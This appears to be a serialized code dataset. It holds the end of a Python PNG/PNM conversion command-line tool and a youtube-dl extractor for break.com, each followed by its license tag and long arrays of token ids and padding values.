greyscale backgrounds etc. """ if color.startswith('#') and len(color) == 4: return (int(color[1], 16), int(color[2], 16), int(color[3], 16)) if color.startswith('#') and len(color) == 7: return (int(color[1:3], 16), int(color[3:5], 16), int(color[5:7], 16)) elif color.startswith('#') and len(color) == 13: return (int(color[1:5], 16), int(color[5:9], 16), int(color[9:13], 16)) def _add_common_options(parser): """Call *parser.add_option* for each of the options that are common between this PNG--PNM conversion tool and the gen tool. """ parser.add_option("-i", "--interlace", default=False, action="store_true", help="create an interlaced PNG file (Adam7)") parser.add_option("-t", "--transparent", action="store", type="string", metavar="#RRGGBB", help="mark the specified colour as transparent") parser.add_option("-b", "--background", action="store", type="string", metavar="#RRGGBB", help="save the specified background colour") parser.add_option("-g", "--gamma", action="store", type="float", metavar="value", help="save the specified gamma value") parser.add_option("-c", "--compression", action="store", type="int", metavar="level", help="zlib compression level (0-9)") return parser def _main(argv): """ Run the PNG encoder with options from the command line. """ # Parse command line arguments from optparse import OptionParser import re version = '%prog ' + re.sub(r'( ?\$|URL: |Rev:)', '', __version__) parser = OptionParser(version=version) parser.set_usage("%prog [options] [imagefile]") parser.add_option('-r', '--read-png', default=False, action='store_true', help='Read PNG, write PNM') parser.add_option("-a", "--alpha", action="store", type="string", metavar="pgmfile", help="alpha channel transparency (RGBA)") _add_common_options(parser) (options, args) = parser.parse_args(args=argv[1:]) # Convert options if options.transparent is not None: options.transparent = color_triple(options.transparent) if options.background is not None: options.background = color_triple(options.background) # Prepare input and output files if len(args) == 0: infilename = '-' infile = sys.stdin elif len(args) == 1: infilename = args[0] infile = open(infilename, 'rb') else: parser.error("more than one input file") outfile = sys.stdout if sys.platform == "win32": import msvcrt, os msvcrt.setmode(sys.stdout.fileno(), os.O_BINARY) if options.read_png: # Encode PNG to PPM png = Reader(file=infile) width,height,pixels,meta = png.asDirect() write_pnm(outfile, width, height, pixels, meta) else: # Encode PNM to PNG format, width, height, depth, maxval = \ read_pnm_header(infile, ('P5','P6','P7')) # When it comes to the variety of input formats, we do something # rather rude. Observe that L, LA, RGB, RGBA are the 4 colour # types supported by PNG and that they correspond to 1, 2, 3, 4 # channels respectively. So we use the number of channels in # the source image to determine which one we have. We do not # care about TUPLTYPE. greyscale = depth <= 2 pamalpha = depth in (2,4) supported = map(lambda x: 2**x-1, range(1,17)) try: mi = supported.index(maxval) except ValueError: raise NotImplementedError( 'your maxval (%s) not in supported list %s' % (maxval, str(supported))) bitdepth = mi+1 writer = Writer(width, height, greyscale=greyscale, bitdepth=bitdepth, interlace=options.interlace, transparent=options.transparent, background=options.background, alpha=bool(pamalpha or options.alpha), gamma=options.gamma, compression=options.compression) if options.alpha: pgmfile = open(options.alpha, 'rb') format, awidth, aheight, adepth, amaxval = \ read_pnm_header(pgmfile, 'P5') if amaxval != '255': raise NotImplementedError( 'maxval %s not supported for alpha channel' % amaxval) if (awidth, aheight) != (width, height): raise ValueError("alpha channel image size mismatch" " (%s has %sx%s but %s has %sx%s)" % (infilename, width, height, options.alpha, awidth, aheight)) writer.convert_ppm_and_pgm(infile, pgmfile, outfile) else: writer.convert_pnm(infile, outfile) if __name__ == '__main__': try: _main(sys.argv) except Error, e: print >>sys.stderr, e
bsd-3-clause
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 199, 3, 2672, 2632, 4, 199, 3, 2672, 26176, 4, 199, 199, 3, 25296, 14, 647, 446, 26951, 10295, 15, 8813, 315, 15111, 2018, 199, 3, 199, 3, 1898, 334, 35, 9, 8315, 7135, 72, 1189, 445, 14, 6848, 335, 14385, 665, 31073, 1189, 32, 5750, 2782, 83, 14, 1308, 30, 199, 3, 20825, 1898, 334, 35, 9, 8937, 20232, 1603, 4548, 665, 5012, 74, 32, 555, 1977, 14, 957, 30, 199, 3, 6061, 8646, 12468, 1898, 334, 35, 9, 8315, 653, 2000, 79, 20744, 6601, 828, 665, 11082, 79, 32, 11082, 79, 14, 1308, 30, 199, 3, 199, 3, 12769, 19834, 701, 7135, 72, 1189, 445, 14, 6848, 335, 14385, 14, 199, 3, 199, 3, 5113, 334, 1918, 10697, 844, 9, 199, 3, 199, 3, 8779, 365, 11882, 10009, 12, 2867, 402, 11204, 12, 370, 1263, 4954, 199, 3, 12408, 282, 1331, 402, 642, 2032, 436, 4568, 3794, 1584, 199, 3, 334, 1589, 298, 10337, 1288, 370, 7962, 315, 314, 2290, 1928, 10588, 12, 199, 3, 5893, 1928, 12305, 314, 4481, 370, 675, 12, 1331, 12, 2811, 12, 5389, 12, 199, 3, 2780, 12, 11207, 12, 13473, 12, 436, 15, 269, 12743, 6866, 402, 314, 2290, 12, 199, 3, 436, 370, 11291, 12103, 370, 12676, 314, 2290, 365, 13985, 370, 886, 880, 12, 199, 3, 5420, 370, 314, 2569, 3704, 26, 199, 3, 199, 3, 710, 3432, 4248, 4245, 436, 642, 4983, 4245, 10989, 506, 199, 3, 5120, 315, 1006, 6866, 503, 13393, 12468, 402, 314, 2290, 14, 199, 3, 199, 3, 2334, 4141, 2281, 7049, 298, 1179, 2281, 401, 2428, 3408, 1634, 1821, 3826, 12, 199, 3, 7168, 1549, 5292, 12, 6931, 5400, 2845, 5471, 2296, 2334, 2990, 1634, 199, 3, 3169, 12, 3092, 2381, 437, 3115, 3104, 2401, 199, 3, 13229, 14, 1621, 4825, 6461, 7000, 2334, 10610, 1549, 5877, 8164, 199, 3, 6262, 7024, 2381, 1821, 13140, 12, 6736, 1549, 5010, 5603, 12, 7061, 1621, 1261, 199, 3, 9612, 1634, 7066, 12, 7056, 1549, 7334, 12, 7043, 4442, 12, 5738, 1634, 1549, 1621, 199, 3, 11287, 1663, 2334, 4141, 1549, 2334, 4815, 1549, 5010, 13198, 1621, 2334, 199, 3, 4141, 14, 199, 3, 199, 3, 7743, 793, 334, 14951, 1642, 304, 199, 3, 8937, 13, 1644, 13, 845, 20232, 26, 1640, 1071, 68, 4546, 5818, 665, 1695, 334, 14827, 680, 199, 3, 8937, 13, 1644, 13, 709, 20232, 26, 1640, 1071, 68, 4546, 5818, 665, 1695, 334, 19332, 680, 199, 3, 8937, 13, 1644, 13, 966, 20232, 26, 19005, 436, 5088, 7887, 7148, 6752, 14, 199, 3, 8937, 13, 996, 13, 1479, 20232, 26, 510, 22116, 2291, 334, 14827, 680, 199, 3, 8937, 13, 996, 13, 1789, 20232, 26, 10199, 13, 4631, 83, 665, 1695, 27, 8034, 510, 21942, 2291, 14, 199, 3, 8315, 13, 1690, 13, 1196, 653, 2000, 79, 26, 799, 800, 379, 1901, 282, 1021, 12, 12930, 1640, 13121, 14, 199, 3, 8315, 13, 1690, 13, 1196, 7135, 72, 1189, 26, 812, 994, 3486, 19393, 26951, 10334, 14, 199, 3, 8315, 13, 1690, 13, 1196, 653, 2000, 79, 26, 1379, 5241, 543, 7750, 1834, 16952, 14, 199, 3, 8315, 13, 1690, 13, 1196, 653, 2000, 79, 26, 32657, 13, 2775, 12, 30357, 13, 3467, 12, 3193, 13, 2075, 15, 15365, 2291, 14, 199, 3, 8315, 13, 1690, 13, 1046, 7135, 72, 1189, 26, 24833, 604, 6122, 3217, 367, 7031, 1324, 1584, 14, 199, 3, 8315, 13, 1690, 13, 1643, 7135, 72, 1189, 26, 812, 994, 3486, 19393, 26951, 10295, 14, 199, 199, 3, 1010, 20504, 972, 1901, 699, 621, 5789, 13, 47, 15290, 23228, 701, 16642, 74, 641, 8937, 13, 996, 13, 845, 687, 199, 3, 1455, 921, 23047, 14, 5750, 2782, 83, 14, 1308, 15, 5750, 15, 13409, 15, 647, 4524, 15, 773, 15, 4524, 14, 647, 31, 4964, 29, 10740, 21, 199, 199, 3, 1010, 20504, 972, 1901, 1134, 4524, 701, 16642, 74, 641, 8937, 13, 1644, 13, 713, 687, 199, 3, 5001, 27834, 15, 2700, 74, 15, 66, 621, 65, 2308, 15, 4133, 15, 600, 15, 4524, 14, 647, 3, 1822, 421, 199, 624, 199, 28928, 2018, 26951, 23099, 15, 6261, 199, 199, 2765, 2018, 859, 9031, 2291, 367, 26951, 5935, 334, 3239, 26951, 199, 22271, 737, 1455, 921, 1544, 14, 87, 19, 14, 1308, 15, 1766, 15, 17919, 15, 9481, 13, 24454, 13, 1840, 17539, 709, 15, 7092, 2779, 11597, 199, 460, 14511, 26951, 1584, 543, 1006, 32518, 4546, 5818, 83, 334, 17, 15, 18, 15, 20, 15, 24, 15, 975, 15, 1194, 15, 708, 15, 2006, 15, 772, 199, 5609, 1126, 7148, 9, 436, 15706, 15821, 26, 30357, 3467, 334, 17, 15, 18, 15, 20, 15, 24, 15, 975, 4546, 2736, 19013, 12, 199, 21631, 12, 31046, 334, 16708, 3467, 543, 5131, 9, 543, 1695, 15, 975, 5821, 1126, 3623, 27, 15706, 9994, 199, 4782, 334, 17, 15, 18, 15, 20, 15, 24, 4546, 680, 221, 4431, 455, 23, 1640, 13121, 365, 3748, 367, 7664, 436, 199, 14827, 14, 221, 437, 1329, 402, 2716, 8291, 883, 506, 2013, 334, 6526, 3575, 9, 199, 460, 1334, 14308, 364, 334, 6526, 7664, 304, 1124, 84, 50, 2709, 4542, 1124, 66, 14634, 36, 4542, 1124, 71, 1156, 33, 4345, 199, 199, 1858, 1720, 12, 730, 1124, 646, 25296, 27, 1720, 8, 4524, 9719, 315, 2195, 2366, 12693, 14, 199, 199, 33, 6954, 4192, 370, 1343, 365, 314, 520, 533, 1705, 5929, 64, 436, 520, 533, 1705, 6261, 64, 3992, 14, 199, 199, 18153, 2018, 499, 14, 19, 14, 221, 23954, 2291, 365, 2808, 367, 2018, 499, 14, 18, 12, 1325, 199, 1397, 8137, 5419, 14, 221, 699, 597, 543, 2018, 499, 14, 20, 436, 10948, 14, 221, 26866, 365, 199, 23844, 12, 1325, 1937, 314, 1124, 18195, 14, 2424, 1040, 570, 334, 1045, 314, 1350, 4084, 9, 199, 509, 2436, 14, 199, 199, 2765, 570, 883, 2597, 506, 1202, 465, 282, 1414, 13, 604, 11420, 370, 3957, 199, 64, 2480, 3317, 77, 665, 1014, 921, 846, 3317, 77, 14, 22943, 14, 846, 3133, 18417, 510, 21942, 1584, 370, 26951, 12, 436, 314, 3837, 8603, 687, 26951, 370, 199, 9060, 45, 14, 710, 3217, 365, 8545, 370, 626 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 199, 3, 2672, 2632, 4, 199, 3, 2672, 26176, 4, 199, 199, 3, 25296, 14, 647, 446, 26951, 10295, 15, 8813, 315, 15111, 2018, 199, 3, 199, 3, 1898, 334, 35, 9, 8315, 7135, 72, 1189, 445, 14, 6848, 335, 14385, 665, 31073, 1189, 32, 5750, 2782, 83, 14, 1308, 30, 199, 3, 20825, 1898, 334, 35, 9, 8937, 20232, 1603, 4548, 665, 5012, 74, 32, 555, 1977, 14, 957, 30, 199, 3, 6061, 8646, 12468, 1898, 334, 35, 9, 8315, 653, 2000, 79, 20744, 6601, 828, 665, 11082, 79, 32, 11082, 79, 14, 1308, 30, 199, 3, 199, 3, 12769, 19834, 701, 7135, 72, 1189, 445, 14, 6848, 335, 14385, 14, 199, 3, 199, 3, 5113, 334, 1918, 10697, 844, 9, 199, 3, 199, 3, 8779, 365, 11882, 10009, 12, 2867, 402, 11204, 12, 370, 1263, 4954, 199, 3, 12408, 282, 1331, 402, 642, 2032, 436, 4568, 3794, 1584, 199, 3, 334, 1589, 298, 10337, 1288, 370, 7962, 315, 314, 2290, 1928, 10588, 12, 199, 3, 5893, 1928, 12305, 314, 4481, 370, 675, 12, 1331, 12, 2811, 12, 5389, 12, 199, 3, 2780, 12, 11207, 12, 13473, 12, 436, 15, 269, 12743, 6866, 402, 314, 2290, 12, 199, 3, 436, 370, 11291, 12103, 370, 12676, 314, 2290, 365, 13985, 370, 886, 880, 12, 199, 3, 5420, 370, 314, 2569, 3704, 26, 199, 3, 199, 3, 710, 3432, 4248, 4245, 436, 642, 4983, 4245, 10989, 506, 199, 3, 5120, 315, 1006, 6866, 503, 13393, 12468, 402, 314, 2290, 14, 199, 3, 199, 3, 2334, 4141, 2281, 7049, 298, 1179, 2281, 401, 2428, 3408, 1634, 1821, 3826, 12, 199, 3, 7168, 1549, 5292, 12, 6931, 5400, 2845, 5471, 2296, 2334, 2990, 1634, 199, 3, 3169, 12, 3092, 2381, 437, 3115, 3104, 2401, 199, 3, 13229, 14, 1621, 4825, 6461, 7000, 2334, 10610, 1549, 5877, 8164, 199, 3, 6262, 7024, 2381, 1821, 13140, 12, 6736, 1549, 5010, 5603, 12, 7061, 1621, 1261, 199, 3, 9612, 1634, 7066, 12, 7056, 1549, 7334, 12, 7043, 4442, 12, 5738, 1634, 1549, 1621, 199, 3, 11287, 1663, 2334, 4141, 1549, 2334, 4815, 1549, 5010, 13198, 1621, 2334, 199, 3, 4141, 14, 199, 3, 199, 3, 7743, 793, 334, 14951, 1642, 304, 199, 3, 8937, 13, 1644, 13, 845, 20232, 26, 1640, 1071, 68, 4546, 5818, 665, 1695, 334, 14827, 680, 199, 3, 8937, 13, 1644, 13, 709, 20232, 26, 1640, 1071, 68, 4546, 5818, 665, 1695, 334, 19332, 680, 199, 3, 8937, 13, 1644, 13, 966, 20232, 26, 19005, 436, 5088, 7887, 7148, 6752, 14, 199, 3, 8937, 13, 996, 13, 1479, 20232, 26, 510, 22116, 2291, 334, 14827, 680, 199, 3, 8937, 13, 996, 13, 1789, 20232, 26, 10199, 13, 4631, 83, 665, 1695, 27, 8034, 510, 21942, 2291, 14, 199, 3, 8315, 13, 1690, 13, 1196, 653, 2000, 79, 26, 799, 800, 379, 1901, 282, 1021, 12, 12930, 1640, 13121, 14, 199, 3, 8315, 13, 1690, 13, 1196, 7135, 72, 1189, 26, 812, 994, 3486, 19393, 26951, 10334, 14, 199, 3, 8315, 13, 1690, 13, 1196, 653, 2000, 79, 26, 1379, 5241, 543, 7750, 1834, 16952, 14, 199, 3, 8315, 13, 1690, 13, 1196, 653, 2000, 79, 26, 32657, 13, 2775, 12, 30357, 13, 3467, 12, 3193, 13, 2075, 15, 15365, 2291, 14, 199, 3, 8315, 13, 1690, 13, 1046, 7135, 72, 1189, 26, 24833, 604, 6122, 3217, 367, 7031, 1324, 1584, 14, 199, 3, 8315, 13, 1690, 13, 1643, 7135, 72, 1189, 26, 812, 994, 3486, 19393, 26951, 10295, 14, 199, 199, 3, 1010, 20504, 972, 1901, 699, 621, 5789, 13, 47, 15290, 23228, 701, 16642, 74, 641, 8937, 13, 996, 13, 845, 687, 199, 3, 1455, 921, 23047, 14, 5750, 2782, 83, 14, 1308, 15, 5750, 15, 13409, 15, 647, 4524, 15, 773, 15, 4524, 14, 647, 31, 4964, 29, 10740, 21, 199, 199, 3, 1010, 20504, 972, 1901, 1134, 4524, 701, 16642, 74, 641, 8937, 13, 1644, 13, 713, 687, 199, 3, 5001, 27834, 15, 2700, 74, 15, 66, 621, 65, 2308, 15, 4133, 15, 600, 15, 4524, 14, 647, 3, 1822, 421, 199, 624, 199, 28928, 2018, 26951, 23099, 15, 6261, 199, 199, 2765, 2018, 859, 9031, 2291, 367, 26951, 5935, 334, 3239, 26951, 199, 22271, 737, 1455, 921, 1544, 14, 87, 19, 14, 1308, 15, 1766, 15, 17919, 15, 9481, 13, 24454, 13, 1840, 17539, 709, 15, 7092, 2779, 11597, 199, 460, 14511, 26951, 1584, 543, 1006, 32518, 4546, 5818, 83, 334, 17, 15, 18, 15, 20, 15, 24, 15, 975, 15, 1194, 15, 708, 15, 2006, 15, 772, 199, 5609, 1126, 7148, 9, 436, 15706, 15821, 26, 30357, 3467, 334, 17, 15, 18, 15, 20, 15, 24, 15, 975, 4546, 2736, 19013, 12, 199, 21631, 12, 31046, 334, 16708, 3467, 543, 5131, 9, 543, 1695, 15, 975, 5821, 1126, 3623, 27, 15706, 9994, 199, 4782, 334, 17, 15, 18, 15, 20, 15, 24, 4546, 680, 221, 4431, 455, 23, 1640, 13121, 365, 3748, 367, 7664, 436, 199, 14827, 14, 221, 437, 1329, 402, 2716, 8291, 883, 506, 2013, 334, 6526, 3575, 9, 199, 460, 1334, 14308, 364, 334, 6526, 7664, 304, 1124, 84, 50, 2709, 4542, 1124, 66, 14634, 36, 4542, 1124, 71, 1156, 33, 4345, 199, 199, 1858, 1720, 12, 730, 1124, 646, 25296, 27, 1720, 8, 4524, 9719, 315, 2195, 2366, 12693, 14, 199, 199, 33, 6954, 4192, 370, 1343, 365, 314, 520, 533, 1705, 5929, 64, 436, 520, 533, 1705, 6261, 64, 3992, 14, 199, 199, 18153, 2018, 499, 14, 19, 14, 221, 23954, 2291, 365, 2808, 367, 2018, 499, 14, 18, 12, 1325, 199, 1397, 8137, 5419, 14, 221, 699, 597, 543, 2018, 499, 14, 20, 436, 10948, 14, 221, 26866, 365, 199, 23844, 12, 1325, 1937, 314, 1124, 18195, 14, 2424, 1040, 570, 334, 1045, 314, 1350, 4084, 9, 199, 509, 2436, 14, 199, 199, 2765, 570, 883, 2597, 506, 1202, 465, 282, 1414, 13, 604, 11420, 370, 3957, 199, 64, 2480, 3317, 77, 665, 1014, 921, 846, 3317, 77, 14, 22943, 14, 846, 3133, 18417, 510, 21942, 1584, 370, 26951, 12, 436, 314, 3837, 8603, 687, 26951, 370, 199, 9060, 45, 14, 710, 3217, 365, 8545, 370, 626, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
nlevitt/youtube-dl
youtube_dl/extractor/breakcom.py
35
1866
from __future__ import unicode_literals import re import json from .common import InfoExtractor from ..utils import ( int_or_none, parse_age_limit, ) class BreakIE(InfoExtractor): _VALID_URL = r'http://(?:www\.)?break\.com/video/(?:[^/]+/)*.+-(?P<id>\d+)' _TESTS = [{ 'url': 'http://www.break.com/video/when-girls-act-like-guys-2468056', 'info_dict': { 'id': '2468056', 'ext': 'mp4', 'title': 'When Girls Act Like D-Bags', } }, { 'url': 'http://www.break.com/video/ugc/baby-flex-2773063', 'only_matching': True, }] def _real_extract(self, url): video_id = self._match_id(url) webpage = self._download_webpage( 'http://www.break.com/embed/%s' % video_id, video_id) info = json.loads(self._search_regex( r'var embedVars = ({.*})\s*?</script>', webpage, 'info json', flags=re.DOTALL)) youtube_id = info.get('youtubeId') if youtube_id: return self.url_result(youtube_id, 'Youtube') formats = [{ 'url': media['uri'] + '?' + info['AuthToken'], 'tbr': media['bitRate'], 'width': media['width'], 'height': media['height'], } for media in info['media'] if media.get('mediaPurpose') == 'play'] if not formats: formats.append({ 'url': info['videoUri'] }) self._sort_formats(formats) duration = int_or_none(info.get('videoLengthInSeconds')) age_limit = parse_age_limit(info.get('audienceRating')) return { 'id': video_id, 'title': info['contentName'], 'thumbnail': info['thumbUri'], 'duration': duration, 'age_limit': age_limit, 'formats': formats, }
unlicense
[ 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 646, 295, 199, 646, 2022, 199, 199, 504, 1275, 2330, 492, 21298, 199, 504, 2508, 1208, 492, 334, 272, 1109, 63, 269, 63, 3592, 12, 272, 2198, 63, 474, 63, 3097, 12, 199, 9, 421, 199, 533, 22535, 4332, 8, 18283, 304, 272, 485, 5600, 63, 2632, 275, 519, 7, 1014, 921, 5169, 1544, 20316, 4785, 4537, 957, 15, 3722, 32576, 26285, 15, 3342, 6977, 13, 2229, 48, 28, 344, 3072, 68, 29600, 272, 485, 7569, 275, 8910, 267, 283, 633, 356, 283, 1014, 921, 1544, 14, 4785, 14, 957, 15, 3722, 15, 6526, 13, 71, 723, 478, 13, 2442, 13, 2930, 13, 6051, 588, 13, 11440, 1257, 1367, 297, 267, 283, 815, 63, 807, 356, 469, 288, 283, 344, 356, 283, 11440, 1257, 1367, 297, 288, 283, 832, 356, 283, 311, 20, 297, 288, 283, 1213, 356, 283, 11423, 598, 723, 478, 18982, 16485, 577, 13, 34, 7391, 297, 267, 789, 272, 1660, 469, 267, 283, 633, 356, 283, 1014, 921, 1544, 14, 4785, 14, 957, 15, 3722, 15, 1518, 67, 15, 66, 17585, 13, 14759, 13, 9963, 1216, 2766, 297, 267, 283, 2118, 63, 9467, 356, 715, 12, 272, 14877, 339, 347, 485, 3093, 63, 5005, 8, 277, 12, 1166, 304, 267, 3991, 63, 344, 275, 291, 423, 1431, 63, 344, 8, 633, 9, 267, 9248, 275, 291, 423, 4249, 63, 12022, 8, 288, 283, 1014, 921, 1544, 14, 4785, 14, 957, 15, 6427, 3149, 83, 7, 450, 3991, 63, 344, 12, 3991, 63, 344, 9, 267, 2256, 275, 2022, 14, 3640, 8, 277, 423, 1733, 63, 3821, 8, 288, 519, 7, 1391, 6441, 16270, 275, 11459, 2795, 30446, 83, 15279, 1108, 1579, 4206, 288, 9248, 12, 283, 815, 2022, 297, 3285, 29, 264, 14, 16504, 430, 398, 22378, 63, 344, 275, 2256, 14, 362, 360, 9788, 1304, 358, 267, 340, 22378, 63, 344, 26, 288, 372, 291, 14, 633, 63, 1099, 8, 9788, 63, 344, 12, 283, 57, 7715, 358, 398, 6752, 275, 8910, 288, 283, 633, 356, 5898, 459, 2302, 418, 435, 15539, 435, 2256, 459, 2817, 3264, 995, 288, 283, 84, 3289, 356, 5898, 459, 2075, 6621, 995, 288, 283, 2063, 356, 5898, 459, 2063, 995, 288, 283, 3333, 356, 5898, 459, 3333, 995, 267, 789, 367, 5898, 315, 2256, 459, 4603, 418, 340, 5898, 14, 362, 360, 4603, 14959, 4070, 358, 508, 283, 2802, 418, 398, 340, 440, 6752, 26, 288, 6752, 14, 740, 2561, 355, 283, 633, 356, 2256, 459, 3722, 14014, 418, 288, 3828, 398, 291, 423, 3191, 63, 6321, 8, 6321, 9, 398, 7373, 275, 1109, 63, 269, 63, 3592, 8, 815, 14, 362, 360, 3722, 4625, 607, 13165, 1333, 267, 11437, 63, 3097, 275, 2198, 63, 474, 63, 3097, 8, 815, 14, 362, 360, 23577, 4894, 32533, 1333, 398, 372, 469, 288, 283, 344, 356, 3991, 63, 344, 12, 288, 283, 1213, 356, 2256, 459, 1317, 985, 995, 288, 283, 8311, 356, 2256, 459, 16534, 14014, 995, 288, 283, 5553, 356, 7373, 12, 288, 283, 474, 63, 3097, 356, 11437, 63, 3097, 12, 288, 283, 6321, 356, 6752, 12, 267, 789, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 646, 295, 199, 646, 2022, 199, 199, 504, 1275, 2330, 492, 21298, 199, 504, 2508, 1208, 492, 334, 272, 1109, 63, 269, 63, 3592, 12, 272, 2198, 63, 474, 63, 3097, 12, 199, 9, 421, 199, 533, 22535, 4332, 8, 18283, 304, 272, 485, 5600, 63, 2632, 275, 519, 7, 1014, 921, 5169, 1544, 20316, 4785, 4537, 957, 15, 3722, 32576, 26285, 15, 3342, 6977, 13, 2229, 48, 28, 344, 3072, 68, 29600, 272, 485, 7569, 275, 8910, 267, 283, 633, 356, 283, 1014, 921, 1544, 14, 4785, 14, 957, 15, 3722, 15, 6526, 13, 71, 723, 478, 13, 2442, 13, 2930, 13, 6051, 588, 13, 11440, 1257, 1367, 297, 267, 283, 815, 63, 807, 356, 469, 288, 283, 344, 356, 283, 11440, 1257, 1367, 297, 288, 283, 832, 356, 283, 311, 20, 297, 288, 283, 1213, 356, 283, 11423, 598, 723, 478, 18982, 16485, 577, 13, 34, 7391, 297, 267, 789, 272, 1660, 469, 267, 283, 633, 356, 283, 1014, 921, 1544, 14, 4785, 14, 957, 15, 3722, 15, 1518, 67, 15, 66, 17585, 13, 14759, 13, 9963, 1216, 2766, 297, 267, 283, 2118, 63, 9467, 356, 715, 12, 272, 14877, 339, 347, 485, 3093, 63, 5005, 8, 277, 12, 1166, 304, 267, 3991, 63, 344, 275, 291, 423, 1431, 63, 344, 8, 633, 9, 267, 9248, 275, 291, 423, 4249, 63, 12022, 8, 288, 283, 1014, 921, 1544, 14, 4785, 14, 957, 